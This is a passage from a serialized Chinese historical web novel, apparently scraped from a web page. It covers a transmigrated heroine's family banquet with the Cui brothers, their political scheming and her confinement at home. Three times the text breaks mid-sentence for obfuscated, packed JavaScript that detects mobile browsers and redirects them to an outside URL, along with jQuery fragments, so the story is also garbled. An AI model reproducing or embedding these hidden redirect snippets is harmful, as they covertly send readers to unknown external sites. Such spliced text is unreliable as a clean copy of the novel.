“一举两得,”让人不适的字眼,她猛地看向对方,目光中也多了分锐利,再言语时不自觉也带上之前的怒气,“你在为他们说话?”
“不,自然不会。”
迎着盯视,崔皓羿眼底闪过一丝愧色,他为难地移开目光,语气失落。
“我只是如今才突然想到,可能连我自己也不明白大哥究竟是怎么想的。”
“崔大郎君的想法……”
意识到自己多余又矫情的怒气,她在暗中用指甲狠狠嵌了自己一下,然后收起略显迁怒的情绪,放轻声音缓缓开口。
“阿月曾与我说过,即便崔家最位高权重者是我们的这位大哥,但朝堂之事,多取的还是二哥的主意。”
不是她非要提起崔皓然,只是因为在她印象中,崔家两位郎君总是形影不离,且比起寡言的崔皓昌而言,周身阴沉的崔皓然更让她记忆深刻。
距离她苏醒已有半个月时间,但她对崔家这两位年长的郎君并不是很熟悉,算起来也就见过两三面而已,且多数时候这两位郎君都在与崔皓月交谈,甚少将目光放在她的身上。
当然,除却初见时的那一眼。
而在初见后的其他碰面中,“崔清婉”都表现得十分恭敬,她再也没有对崔皓昌的跛脚流露出半分好奇,可崔皓然那抹阴冷的瞥视还是让她仅回想起来都觉得心中一颤。
崔府后巷仍旧寂静,屋檐下的荫蔽也越发减少,明明此刻日华高照,可“崔清婉”还是实打实地打了个寒噤。
“二哥心思缜密,做事也当机立断,每当大哥迟疑时,二哥总能先一步替大哥做下决定,即便这个决定并不是大哥所赞同的,但一定是最有成效的。”
“所以即使我不知大哥如何作想,但我知晓,此事过后兄长们一定会‘不计前嫌’,继续与郡王们合作。”
“你似乎对崔二郎君的意见很深?”
她很敏锐地捕捉到隐藏在对方话语中的一丝微妙,试探着发问。
“难不成你当日质问两位兄长时,二哥哥就没有半点儿愧疚?”
“自然有愧疚,大哥更是红着眼眶,后悔当初同意桓王的提亲,只是……”
崔皓羿应答得果断,但话说到一半便皱起眉头垂下眸去,他不敢与眼前女子对视,好像在逃避什么。
“总而言之,不论兄长们如何愧疚,末了二哥一定会劝服大哥继续实施计划。”
“一定实施?为了什么?”
面对她不屈不挠的追问,崔皓羿沉默半晌,终是一声叹息后缓言回复:
“为了大哥的抱负,为了忠君的承诺,只要是能帮大哥的,无论什么,二哥都可以牺牲。”
43.自寻烦恼
崔皓羿这个人,说是与自己站在同一条线上调查真相,可从最初到现在,他总是眼藏愁绪,一副有口难开的样子。
涉及关键部分,他确实坦白直率,可每到这种细枝末节的问题上,他反而讳莫如深。
其实有事隐瞒也在情理之中,若他使得手段高明些,神色表现再自然些,让自己看不出来也就罢了,但偏不是,崔皓羿总是十分真挚地在表明,他确实有难言之隐。
嗯……或许不该用隐瞒一词,确切来说,只是崔皓羿不愿详谈,人都有保守自己秘密的权利,何况还是他的家事。
至于“崔清婉”本人,她确实有些在意崔皓羿的挣扎,可她无意就对方的隐私刨根问底,她是很知趣的。
起码,她会在意识到对方持回避态度后就努力克制住自己的好奇心。
于是这场墙头下的对话,绕来绕去,还是将昨日的意外一帧一帧回忆,旁的,再也揪不出新的头绪,最后还是靠她想起金背玉梳一事,才又有了新话题。
“那梳子我是初次瞧看,但也能明白其珍贵非常,这样的物件儿若是仿制,怕是不易,还有云岫的反应,怎么着都让人觉得其中另有隐情,莫非这也能与桓王那方扯上关系?”
“阿婉获赠的首饰数不胜数,但能让云岫反应如此强烈的,只能是蔚娘子离开京都时赠予阿婉的那支。”
“且不论这梳子是在何处丢失,单只说阿婉可去的地方,这梳子绝不会流落到那对夫妇手中,即便是拾梳者藏昧,以梳子采用的工艺,也绝对不会有一般当铺敢收下。”
“你的意思是说,这梳子早就被交还到桓王手中了?”
“若是交到桓王手中,他必会物归原主,毕竟夫妻一场,桓王找个阿婉的贴身物件儿甚是容易,不必私藏一把让阿婉心心念念的梳子。”
“因此,我推断这梳子应是被交到其他郡王手中,但一时耽搁并未归还,阴差阳错之下才有了昨日的构陷。”
……
无论怎么推断,昨日祸事绝对与桓王脱不了干系,即便非是李澈主动促使,也绝对有他的默许。
得出如此结论,缓步走在崔府游廊内的“崔清婉”晃了晃被硕大步摇钗装点的发髻,对这个既定结论表达了惋惜。
那稳稳压在青丝上的发饰通体金灿,根茎脉络清晰可见,一支莲蓬半斜着隐在莲叶后,几条造型各异的鱼儿绕在莲花四周,其下坠着六条镶着红珊瑚珠子的流苏,一颤一动间,华贵不可言。
“崔清婉”现在很是怀疑崔皓羿言语的准确性,这比手掌都大许多的步摇钗是怎么被承乐公主从头上取下赏赐给自己的,她真想象不到那个画面。
不过也好,得亏只是个步摇钗,要是赏赐个步摇冠,只怕自己脖子要折在这儿。
宛如一个吉祥物,她从后门进了崔府便被安排着重新梳妆,而后更是被一大群侍女护着出府,声势浩大,她也是头一回见这般排场。
自然,这次出面无须她言语什么,她只要在云岫靠近时装模作样地表演“吩咐”这一行为便可,其他的,自有云岫处理。
先是当众受了安家的谢礼,顺势又关怀几句,随后云岫便点着碎步走到一众身着明光铠的府兵面前,对着领头的都尉行劝退之言。
可无奈云岫怎么言语,都没有劝说成功,那领兵的都尉仍旧紧绷着脸驻守在一旁。
直到“崔清婉”本人靠近,他才单膝跪地抱拳,义正辞严地回了话。
“请郡夫人恕罪,桓王之命,属下不敢违背,少则五日多则半月,只要郡夫人安全无虞,桓王殿下总会撤下府兵,还郡夫人清静。”
本欲好言相待,但这都尉提到桓王,“崔清婉”立刻面色一沉侧目怒视,随即引着一众侍女拂袖而去,徒留崔府门外漂浮在死寂间似有似无的私语。
其实她本人没这么大气性,是她出府时崔皓羿特别嘱托,让她对桓王的不满表现刻意些,说是现下举动,还是顺势而为最好。
并未追问对方是否还在为崔家与桓王的计划考虑,她就这么装模作样地演完一场大戏,只是在回灼玉苑时,“崔清婉”的脚步越走越慢,最后都踱起步来。
要不是侍女们紧跟在她的身后,她是真想打个哈欠倚着长廊边上放空自己歇会儿。
从崔府到牢狱,自巷口到府前,这一上午的行程实在是让她忙得来不及喘口气。
好不容易强撑着精神捱到用完午膳,就在她以为能在屋中放松片刻时,下人紧接着的通报又让她睡意全无。
真是,她怎么就能忘记更难应付的崔家兄长呢?
申时才将过半,日头尚未低悬,但崔府上下已是忙碌起来——
端几案,布菜品,热酒的,温茶的,前来服侍的侍女一波又一波,皆是一副严阵以待的谨慎模样,甚至连向来活泼好动的崔皓月此刻也跪坐在席上低眉顺眼,大气都不敢出一声。
“三哥……”
“崔清婉”压低声音唤向跪坐在自己左侧席案后的崔皓羿,待对方抬眼看过来时,她递了个眼神投向对方正前方的崔皓月身上。
“阿月每次都这样么?未免太乖巧了。”
“嗯……其实莫说阿月如此,就连我也如芒刺背、诚惶诚恐。”崔皓羿语气平和,但还是极为迅速地收回目光,然后目不斜视地盯着食案。
“这么严重?但我见三姐姐自在得很,甚至还在批阅什么……”
余光向自己的正前方瞄了一眼,“崔清婉”看见那道莹润如珠的身影半靠在凭几上,颇为惬意。
对方甚至不像他们其余三人穿得那样正式,只在玉色襦裙外搭了件天水碧的罗衫。
“崔府偌大家业都有三姐把持,总会行些例外,大哥也不会在意这些细枝末节。”
崔皓羿一顿,像是想到什么,转而侧首嘱咐道。
“倒是你,因御赐身份尊贵,而今被安排在上座,一会儿可得当心,千万别被二哥——”
“难怪人人都能欺侮到崔府头上,原是我崔家子弟骄奢懈怠,连在席案上都目无礼法、窃窃私语!”
中气十足的训话打断崔皓羿嘱托,惹得他皱起眉头压着情绪垂下眼去。
对面的崔皓月更是一惊,紧抿下唇屏息凝神。
连执笔批阅的清书娘子都停下动作,挥手让下人将案上的笔墨撤了下去。
“崔清婉”自然也是惊了一跳,她迅速收回目光,仿着崔皓羿的模样低下视线,但按不住好奇,她偷摸着直起身子,用余光向门口打量过去——<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15012280|159629||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
黛紫色官服镶金嵌玉,崔皓昌的步子虽略有不便,但那魁梧高大的身影与华贵官服相得益彰,气势逼人。
紧跟其后的是一道浅绯色单薄身影,崔皓然比长兄矮了半头,走起路来又静默无声,实在很容易躲在崔皓昌背后被人忽视。
当然,“崔清婉”可不会没瞧见,她在瞥到那抹浅绯色痕迹时便移开余光,彻底眼观鼻、鼻观心了。
两双乌皮六合靴有节奏地撞开衣角,稳稳地自案席前走过,待二人入座到正位上时,崔府的下人们也井然有序地开始端碟送盏。
先是接过细软帕子慢条斯理地擦拭起双手,又用侍女端上来的茶水漱漱口,随后崔皓昌一改方才的严肃神色,语气和缓地安抚了众人几句。
“好了,总归是场家宴,你们几个,别一副如临大敌的模样,进屋之语不过是为兄逗耍你们,莫非为兄真那般可怖,让你们都不敢直视?”
闻言,众人皆是沉默不语,唯有一旁的崔皓然会心一笑。
“哈,都怪兄长心急,未换朝服便催促我尽快赶回,这下可好,不仅没按预想的安慰到四妹妹,还让这兄弟俩受了惊吓。”
崔皓然轻松而淡然地调侃一句,随后他将目光从自家长兄身上移开,用那似有似无的笑意对着下座的弟弟妹妹们挨个打量,最后才把视线停在紧挨着自己席位旁的“崔清婉”身上。
“阿婉金钗华服,看上去光彩照人,想来是心情尚佳,如此甚好,兄长们见了也能放心。四妹妹可不知道,今日朝会结束后大哥为你走了多少关系,费了多少口舌。”
门下侍中,堂堂三品大员,鲤泮毋庸置疑的权臣,用得着讨好似的求人办事?
她不信。
况且有裴如信与崔皓羿的照拂,还有她亲自去大狱的那趟,怎么着也向经手的官吏表明了态度,不会使曲游欢轻易被定罪。
如此看来,这位二哥哥所言应当是打趣了。
“崔清婉”微微颔首,目光向左侧的崔皓羿那边瞟了一眼,瞧他未有丁点暗示,更是确信了自己的判断。于是,她向右前方探了探身子,恭敬回话。
“二哥哥说得是,清婉在此谢过大哥哥了。”
主位上的崔皓昌听罢“崔清婉”的道谢,那张坚毅面孔上倒少了几分威严,多了些许温情。
“左不过是件小事,你是为兄最小的妹妹,于情于理,为兄都该多爱护些,这个‘谢’字太过生分了。”
正值侍女们将菜肴端送完毕,见状,崔皓昌抬手示意众人动筷开宴。
想来因为这是“崔清婉”回府后首次与家人一起用膳,每个人面前的乌木食案上都呈着样式繁多的菜品,游鱼走兽、春芽嫩叶,好不精细。
使着细长的银丝乌木箸,崔皓昌夹了一口白嫩如玉的笋丝,但尚未入口,又搁置在碗碟上。
“况且那乐师护主有功,为兄本应备下厚礼重赏于他,可惜歹人暴卒,才使他有了牢狱之灾。”
“不过为兄已向京兆府尹行了方便,先将他提了出来,备了间客栈拘着,待后日会审结束,吴叔会领人把他接回府来。”
“是。”
果然,自己身份与崔皓昌完全不是一个量级,这样的方便,她可没办法做到。
44.味同嚼蜡
压下心中不尽感慨,“崔清婉”还是半低着头,轻柔而恭敬地作答。
在众人面前,她总是保持这副模样,贴不贴切原身她是不清楚,但她知道,这样最不会出错。
出神地夹了几口菜肴,她缓慢地咀嚼着,转而心中又巴不得这场食宴赶紧结束。
如此看来,之前她就不该头脑一热说去盛王府上的金钗生宴,一早顺着李澈的话答应下去,窝在府里养身体,此刻也不用为来日的宴会提心吊胆了。
“四娘子。”
侍女轻声而唤,她还没来得及放下手中筷子看去,食案上便被添了一碟菜肴。
“嗯?这是?”她侧过头,不解地看向添菜的侍女。
模样乖巧的侍女低着头,本欲退下的身影又向前踱了半步:“回四娘子,三郎君见四娘喜食‘春酿花丝’,特让奴将三郎君食案上的送来。”
“噢,谢谢——三哥哥!”
下意识就想要对端呈菜肴的侍女道谢,但脑中毕竟提着十二分的警醒,所以她猛地转头朝向崔皓羿,扬起一张急需认同的灿烂笑脸。
“呃,阿婉客气了。”
迅速收敛起眼底的惊诧,崔皓羿语气淡然地接过话头,想了想,他又开口道。
“如长兄所言,你是最小的妹妹,多受些爱护是应该的,所以此次我出远门,阿婉有什么想要的尽可和我说。”
“三哥要远门?什么时候的事?”
沉默了半个饭局的崔皓月终于开口,他扬起头颅,眉间浅痣衬得那张求知欲满满的俊脸格外秀雅,不过他语气中虽有几分急切,但相较以往印象来说,还是沉稳过了头。
“崔清婉”半垂眼帘,不动声色地朝崔皓月看了一眼。
虽然对方是一本正经的关切模样,但她总觉得在心里幻听到“什么!怎么不带我去?怎么不问问我想要什么”这样的话。
“嗯?真是奇了,你三哥回府后居然没被你缠着,竟还有你未得知的消息?”
主位下席的崔皓然面带笑意向崔皓月看去,言语亲和,姿态放松。
似乎他在崔府总是这样,一副最好相处的兄长模样,要不是“崔清婉”之前切实感受过那宛如寒潭的瞥视,她真会以为崔皓然才是最值得合作的崔家人。
“你若细心定会记得,麟华长公主离京祈福已久,如今也该是回来的时候。”
“而作为圣人唯一的胞妹,长公主回京自然深受重视,你三哥便是得了这差事,与鸿胪寺少卿领使团前往东都迎接。”
崔皓然话语一顿,明明面上笑意更深,却还是故作惋惜地继续开口。
“哦,此次行程匆忙,你三哥明日便要动身,阿月,这可是公事,闲杂人等不能随行。”
“什么闲杂人等,明明整个府里属我最忙。”
感受到嘲弄,崔皓月撇开目光小声嘀咕,见无人听见,他眼眸一转,复又抬头开口。
“既然是迎接长公主,我自然不便随行,只是乍一想,二姐姐不也同住在东都么?许久未见,阿月很是想念,此番前去,三哥定抽不出空来看望二姐姐,不如由我代劳,如何?”
对于崔皓月明显别有用心的提议,崔皓然挑起眉毛笑着摇摇头,屋子内的其他人更是心照不宣地选择忽略这番发言。
唯有端坐在主位的崔皓昌沉了面色,不过他也未立马驳回崔皓月的请求,他只是在饮了几羹匙的汤水后,朝着崔皓羿开了口。
“前些日长公主寄了封信给我,说是心悸不安、夜间多梦,吃了几副汤药也不见好,长公主在京时总听见官眷们盛赞你二嫂嫂医术,特让我请几副益气安神的药给长公主带去。”
“正好你此行相接,就一并献上,尽早为长公主解忧吧。”
面对长兄嘱托,崔皓羿习以为常地点头,恭敬应答:“是,那这药材——”
“就由我代取一趟吧。”
从开席便只顾专心进食的崔清书也终于开了口,此刻她已放下手中筷箸,接过了侍女递来清口的茶水。
“而且除却药材,我还有些清香怡人的花油可一并献上,总归是长公主亲自来信,备得齐全些也可表我们崔家忠心,何况三郎初次与鸿胪寺的人同行,也得打点一番。”
“嗯,你持家多年,这些事上要比他周全些——”
“三姐!”
眼看无人搭理,崔皓月侧过头,用殷切的目光看向自己左手边的崔清书。
“那个……三姐之前不是说府内应再备一批珍品以便人情往来吗?东都城南便是新谭码头,多的是海外奇物,我既可出城挑选购买,又可进城探望二姐,这不是一举两得?”
“越发没了规矩。”
讲话虽被打断,但崔皓昌面上不见恼怒,即便话语依旧严肃,可他仍是一贯的语气。
“采办自有府里人专职,何需你事事操心?穆侍郎家的幼弟你也熟识,看看人家,与你年岁相仿,这番回京又晋了官职,不管是从文还是练武,你也该是时候进朝堂历练了。”
穆侍郎?
听到这个特别的姓氏,“崔清婉”眉头一挑,不过她可不敢插话,只是借着进食的动作低下头呲了呲牙,强行压下因尴尬回忆而想要逃离席面的冲动。
回想起清晨见到的那抹竹柳色身影,她就觉得一阵头疼。
虽然细讲也没什么,但她真的很不擅长应付这种人,和初见时的崔皓月一样,完全沉浸在自己的小世界里,很难沟通。
不过想来以后也不会再见面了,即使现在尴尬,忍忍也就过去了,除了知晓此事的崔皓羿……
啧,崔皓羿啊,明明这人大多时候专注又认真,但怎么就喜欢在意外的地方捉弄自己,简直过分……
就在“崔清婉”垂下脑袋掩饰自己内心吐槽时,听罢兄长教训话语后的崔皓月也立马缩回了求助的头颅,他嘴里还不服气地咕哝着。
“不去东都就是了,大哥又提这事做什么……”
“你啊。”
崔皓昌轻轻摇头,面上严肃却还是未有一丝恼怒。
“罢了,多说只会适得其反,你也大了,心中定然明
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15016718|159629||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
白为兄是不想你在府内蹉跎时光,何况男子汉大丈夫,总得思报国家,立一番事业。”
“在府内就是蹉跎时光,那天下妇人们不都在蹉跎……”崔皓月低下头去,可仍是不服气地嘀咕。
此情此景倒是让“崔清婉”暂时放下自己内心活动,她有些奇怪,原以为崔皓月是惧怕崔皓昌的,可现在看来,让他如临大敌的分明另有其人。
崔皓然……
偷偷将视线移到旁侧,她再度打量身着绯衣银绣的清瘦男子,只见这崔家二郎唇角微勾、目含浅笑,永远一副游刃有余的怡然神情。
他到底做过什么,怎么能同时让崔皓羿颇有微词,让崔皓月也战栗不已呢?
就在“崔清婉”还在开动小脑筋时,崔皓然却率先开了口。
“长兄如父,大哥总为我们这些兄弟姐妹考量,实在耗费心力,其实大哥不必如此劳心,阿月作为崔家人,很清楚自己要做些什么,对吗,阿月?”
不知是不是错觉,崔皓然似乎在“崔家人”这三个字上有特别的停顿,像是在故意强调什么。
“崔清婉”不敢作声,但她心中真是万般困惑,早些时候也没从下人或者崔皓羿那边听到什么特别的消息,单只崔皓月自己说过,说他是家中落难,被本家收养。
这不就相当于远房亲戚家的孩子无人照看,然后被崔家当家人接过来吗,至于特别强调“崔家人”这个身份?莫非崔皓月原本是他们某个兄弟姐妹的母族那边的亲戚,本不姓崔?
“崔清婉”还在打开思维,耳边是崔皓然继续言语的声响。
“其实兄长们都懂,阿月你是生性好动,才不想入朝受了拘束。不过我以为,这么好动下去也不是回事,即便京中老夫人们对你再为怜爱,但这般性子总不好定下姻亲,不如……”
刻意的欲言又止,让主位上的崔皓昌皱起眉头,他那一贯严肃的面容似乎第一次才有了不满。
“有话便直讲,不要把官场上那套带到家里来,你也是个做兄长的,总诈他们做什么?”
好吧,虽然严肃但还在絮絮叨叨,似乎崔皓昌对崔皓然也没什么不同。
“是,一切听从大哥教诲。”
受到批评的崔皓然看向崔皓昌,满脸恭敬,而此刻他眸中的笑意更是盛将不住快要溢出来。
如此真挚强烈的情绪自然被“崔清婉”感知到,只是当对方回首时,那份热切瞬间又被敛了个干干净净。
“其实大哥也明白,往日三郎教导阿月,多为操练他的体魄,至于心志,从未对症下药。”
“我以为,若要阿月成熟稳重,总得找个好先生。近些日来,府上多生事端,但阿婉桩桩件件都处理得漂亮,任谁见了也夸一句冷静坚毅。”
“崔清婉”还在诧异崔皓然令人咋舌的变脸功夫时,却见对方冲自己探了探身——
“所以我想接下来一段时间,就让阿月寸步不离地守在阿婉身边,既为贴身保护,又可好好教导,如此两全其美之事,阿婉以为呢?”
“啊,我?”
45.笼中雀
晨霞将尽,日华渐浓,下人们早早做完洒扫工作,规矩地守在角落,崔府庭院内,唯一不知趣还在叽叽喳喳的,只有觅食的雀儿了。
绛红的廊椅上,“崔清婉”斜倚曲栏,单手托腮,看上去兴致索然。
“唉……”
悠悠长叹,这烦闷情绪似乎与清晨的鲜亮并不匹配。
“四姐姐何必长吁短叹,反□□外还有桓王府府兵,不出去也好。”
听罢身旁人出声劝慰,“崔清婉”没换姿势,只是歪歪脑袋,将目光递了过去——
廊檐外,站如青竹的男子身穿一袭格外顺滑的宝蓝色联珠对狮纹翻领长袍。
本来那秀雅面庞上的眉间浅痣就够吸睛,偏他又头戴银雀衔玉发冠,腰系各式香囊玉佩,精致得让人瞠目结舌。
还好他精致归精致,倒也不算累赘,要不早被崔家二郎以风气奢靡的由头惩罚一番了。
“不出门和不出门之间的差别还是很大的,若我是主动不出门,那是我喜静、不爱凑热闹,可若是被动不出门,这可算得上是被软禁了。”
想到那个提议自己待在崔府别出门的麻烦人,“崔清婉”不满地撇撇嘴角,压下翻白眼的冲动。
她又朝着崔皓月打量几眼,看到对方不住把玩那枚大如鸡卵的通透石珠时,她忍不住开口提醒道。
“阿月,你玩归玩、赏归赏,千万别拿着珠子冲日头看,伤眼睛。”
“嗯?”
不知是被唬住还是已然被珠子聚的光灼伤,仰着头的崔皓月在一声短暂疑问后迅速将珠子一抛,然后整个人闪回廊檐下。
“哎——”
眼见对方像丢烫手山芋般将珠子扔来,隔着曲栏的“崔清婉”忙是探前身子,伸出双手将其接住。
纤手接捧珠球时,她整个身子都被带得朝地面坠了坠,果然,这珠子实在有些分量。
极快稳住身形,“崔清婉”这才小心翼翼地缩回到廊椅上,在好一通端详后,确保手中透亮光滑的珠子完好无损,她终于松了口气。
“呼……拜托,就算是玩腻了你也不能这么对待它吧?这可是三哥特意托人送回来的,礼轻情意重啊!”
“分明是才动身两天就偶遇西域商队,一买下稀罕玩意儿就忙不迭地让樛木送来,可气三哥忘记我也在府里,单只送了四姐姐一份儿。”
回到阴影下的崔皓月靠在游廊栏边半仰着头,一个劲儿揉搓眼睛,明明如此不适,他嘴里还一个劲儿嘟囔,尤其在“一份儿”这几个字上,变了音地突出强调。
“何况礼也不轻,这可是火齐珠,向来有价无市,即便是祁国公家幺孙偷出来给我看的那颗,也不如这枚透亮。”
“真不知三哥使了什么话术,居然能把这种一眼看上去就要进献给王公权臣们的奇物买下来。”
“有价无市?这么贵重!但这不就是还没被打磨的凸透镜——”
由衷发出一声惊叹,“崔清婉”忙是遏制住想要吐槽的心情,随后又打量了手中珠子几眼,她才不情不愿地继续开口。
“那你明知这么贵重,还乱丢,摔坏了要怎么办……”
反正要赔你赔,她是赔不起。
能被锦衣玉食供养大的崔皓月都说上一句奇物,这火齐珠的价格根本不是她能估量的。
名义上,这珠子是赠予崔清婉的,可实际想想,不就是崔皓羿转赠给她的么?要不随箱怎么还会装那样多解闷的玩意儿?
显然是她现在的处境,连对方都觉得枯燥。
所以说,就算今天火齐珠真的不幸损坏,以崔皓羿为人,必然也不会让她赔偿,他的性子,大概只会考虑是不是送得不合心,或者是在崔府时又出了什么意外……
如此一想,身边好歹也算有个人在理解自己,她对崔皓羿总在隐瞒的那一丝丝不悦以及因被困在“家”但同时回不了家的烦躁倒是减弱了不少,心绪也逐渐沉静下来。
眼帘低垂,她盯着手中的石珠渐渐出神,不由得便开始反思起自己来。
实话讲,以崔皓羿的愧意与礼待,即便现在一切的身不由己追根溯源全在对方的无心之举上,她也没有因此对崔皓羿产生太多怨恨。
她的不满,似乎更多是在气愤自己的无能为力。
明明焦心恢复原状,却只能被动等待消息;明明决心破除原身困境,却只能被裹挟着掉入陷阱。
所以到底为什么她只能等待,难道就不能主动做点什么吗?!
对!得做点什么,必须要主动做点什么!
即便现下一时被禁足,但迟早她会出崔府,更何况过几日还有王府的金钗生宴要参加……
盛王,楚王。
一想到这两个拥有最大嫌疑的人,她难以抑制地感到气血翻涌。
她很想知道,当真正的幕后黑手见到崔清婉完好无损的模样时,难道真能自制到不流露出半点异样神情?
况且还有承乐公主,若她出席生宴呢?要如何应对?
以及之前裴如信提醒什么来着……
以舞相属!《绿腰》!
明明贵族们总在轻贱舞姬优伶,可当自己在宴会上起舞,又说那是高雅。
忍不住怨诽一句,她轻轻摇摇头,心中只觉可悲。
但是不管怎样,她用着崔清婉这个身份,该遵守的礼仪总得遵守,小不忍则乱大谋,为了最终目标,一切难题她都可以克服。
要先学这支舞……不如去曲娘子处请教一番,曲知笙虽以健舞见长,但对于其他舞种,想必也有不少见解。
明确目标后,她顿时感觉身心舒畅,连带眼前的火齐珠都明亮了几分——
“阿月!走!陪我请教点儿东西!”
猛地抬头唤人不要紧,可她这突来的振奋吓得本欲翻栏而进的崔皓月一哆嗦,撑在曲栏上的手腕也短暂卸了劲——
于是一道宝蓝色身影在半空中打了个趔趄,“扑腾”一声摔落在廊椅之上。
可偏那人想要掩饰尴尬,故作自然地支起胳膊侧躺过去,以一种潇洒而扭曲的姿势滑着插到“崔清婉”眼前。
“噫!”
崔皓月一定得多感谢“崔清婉”的大心脏,不然此刻砸在他脸上的,除了因惊吓导致的短促音节,就还有一枚硕大的透亮石珠了。
“你这是……”
“崔清婉”双手握紧石珠,垂下目光看着躺在廊椅上的英俊少年艰难维持姿势,一时间是欲言又止、欲止又言。
“‘日出雾露馀,青松如膏沐’,四姐姐不知,我站院中时总觉搅扰景致,唯有此刻躺卧一侧,才深感融入美景。”
崔皓月一挑眉,将眼前碎发吹开,露出那粒秀雅浅痣,神情颇为笃定。
“四姐姐何不就近侧卧,同来体验体验?”
日出雾露馀?
“崔清婉”侧抬眼眸看看浓烈日光,哪儿有半点雾气痕迹。
青松如膏沐?
她又转首打量了几眼盛开馥郁的玉兰树,并未觉得其与松树有丝毫相似之处。
“你……”
她收回目光,带着不忍再度看向躺在廊椅上的俊俏郎君,回想到之前与对方相遇的一幕幕,她眉头越皱越紧,总是叹了口气,无奈地摇摇头。
“长得这么漂亮,可惜是个傻的……罢了,能天然富有童趣也是一种本事。”
“崔清婉”握着石珠,双手交叠置于身前,她轻盈转身,朝着守在不远处廊柱边上的侍女点点头。
“云岫,晴眉,你们陪我拜访一趟曲娘子吧。”
“是。”
“是。”
听到自家四姐毫不留情地扭头就走,崔皓月一个激灵从廊椅上翻了下来。
“四姐——别呀,等等我——”
“别跟着!反正我在府里不出去,你就继续赏景好了。”
“不行!廊椅那
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15026735|159629||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
么凉!四姐你怎么舍得!”
……
一行四人顺着长廊走到水池边,又沿着石路通过几道满月门,直到跨过一处小木桥,这才算从庭院里转了出去。
在前往曲知笙所住揽霞堂路上,“崔清婉”一直对身边的吵闹保持置若罔闻,可不得不说崔皓月还是有实力,愣是凭借一己之力营造出众人戏耍打闹的氛围。
嗯……也不全是他一人的本事,大概还得算上云岫、晴眉时不时掩嘴偷笑的烘托吧。
“嘘——收声!”
实在受不了聒噪的“崔清婉”腾出一只手来虚空一握,示意身边人安静些,她向四下墙角瞟了几眼,瞅着没有其他侍从做活这才无奈叹口气。
“祖宗,我算服气了,你安静一点儿好不好?曲乐师还未回府,我们就这般吵闹地去打扰知笙,未免有些太不通人情。”
“欸!长幼有序,不可失礼!”
崔皓月一个闪身走到“崔清婉”眼前,刻意压着声音模仿昔日崔皓羿教训他的模样,在看到眼前人忍俊不禁的挑眉后,他才弯弯眼眸,边倒退着行走边笑着回答。
“四姐姐还是唤我一声‘阿月’吧,叫我祖宗,岂不是在折我的福寿?”
“四姐要去找曲娘子,我当然得陪着,若你俩一见面又因曲乐师那事愁苦满面,我还能适时透露些消息,让你俩宽心。”
揽霞堂建在崔府西侧,几人出了庭院便绕着最外围的抄手游廊向前慢步,因脚下所行平坦笔直,故而众人未停下步子,她也任由崔皓月倒退着相随。
听罢崔皓月提议,“崔清婉”无视对方得意的小眼神,一把将手中的火齐珠塞到他怀中。
“打住!我怎么记得前日就是因为你讲述牢狱生活才把曲娘子弄得双目噙泪?要不是我及时制止,说了大哥的安排,只怕曲娘子早就被你惹出两行清泪来。”
“怎会?能受杜家姐妹磋磨还心性如初,这位曲娘子可没四姐姐想得脆弱。”
崔皓月接过石珠看了几眼,颇为轻松地抛了两下,看到对方因惊吓欲要伸手阻拦时,才握着火齐珠负手于身后。
“再说,我这样讲不是为了给曲娘子一个惊喜吗?若她不知晓牢狱环境糟糕,她怎会明白大哥安排的重要?”
“嘶——”
“崔清婉”一时哑火,只能在倒吸一口凉气后不满地紧抿双唇。
这似曾相识的手段啊……
只是不知为何,当日崔皓羿为训诫下人所行她尚能接受,但今日崔皓月所讲,就让她心里多了几分别样意味。
也不知是崔皓月学了崔皓羿这一手,还是说他二人师从一人?
不由得再次想到某个将自己禁足在崔府的男子,“崔清婉”缓缓移开视线,装作眺望天空般翻了个白眼。
“总之今日可不许那样,这会儿曲乐师正在公堂之上,虽说此事结果十拿九稳,但你不许再诈唬人,要是有人来禀报消息,你先说与我——”
“阿郎行行好,放老身进去吧,四娘子真与老身有些渊源,四娘子不会不见老身的!”
“崔清婉”话未说完,一句低声下气的请求便隔着砖墙传了过来。
身旁三人听到,皆是一改方才轻松模样,崔皓月更是利落转身将她挡在身后,目光警惕地投向数米外的窄小侧门。
恳切的话语还在不断传来,借着遮挡,“崔清婉”垂下眼帘仔细辨听声音。
似乎是个有些年岁的老妪,不知在纠纠缠缠地向人解释什么,只听到“外孙不合算”、“再换个人”这样的字眼。
拽住欲要赶去的崔皓月,又用眼神制止准备动身的云岫、晴眉,她皱着眉头沉吟片刻,最终在三人的诧异与阻拦间迈开了步子。
她并不淡定,却也不害怕。
比起昔日身形肥厚的醉汉,她不认为一个老妪能对自己造成多大伤害,她只是下意识认为门外有个麻烦,多半还是自己惹来的麻烦……
46.扯不尽
